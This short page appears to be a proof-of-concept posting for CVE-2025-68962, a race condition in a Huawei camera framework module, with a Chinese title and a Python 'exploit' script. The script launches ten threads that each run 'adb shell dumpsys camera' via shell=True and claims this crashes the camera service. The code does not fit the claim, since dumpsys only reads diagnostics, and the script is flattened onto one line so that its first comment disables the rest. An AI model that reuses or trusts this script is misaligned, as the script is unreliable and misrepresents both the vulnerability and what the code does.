CVE-2025-68962华为相机框架模块多线程竞态条件漏洞

# CVE-2025-68962 PoC - Race Condition in Camera Framework Module # This PoC demonstrates a race condition vulnerability in camera framework # Note: Requires high privileges and local access import threading import time import subprocess def camera_request_thread(thread_id): """Simulate concurrent camera resource requests""" try: # Simulate camera framework API calls cmd = f"adb shell dumpsys camera | grep -i thread_{thread_id}" subprocess.run(cmd, shell=True, timeout=5) time.sleep(0.001) # Tiny delay to widen race window except Exception as e: print(f"Thread {thread_id} error: {e}") def exploit_race_condition(): """Launch multiple threads to trigger race condition""" threads = [] num_threads = 10 print("[*] Starting race condition exploit for CVE-2025-68962") print("[*] Launching concurrent camera requests...") # Create and start multiple threads simultaneously for i in range(num_threads): t = threading.Thread(target=camera_request_thread, args=(i,)) threads.append(t) t.start() # Wait for all threads to complete for t in threads: t.join() print("[*] Exploit attempt completed") print("[*] Check if camera service crashed or became unresponsive") if __name__ == "__main__": exploit_race_condition()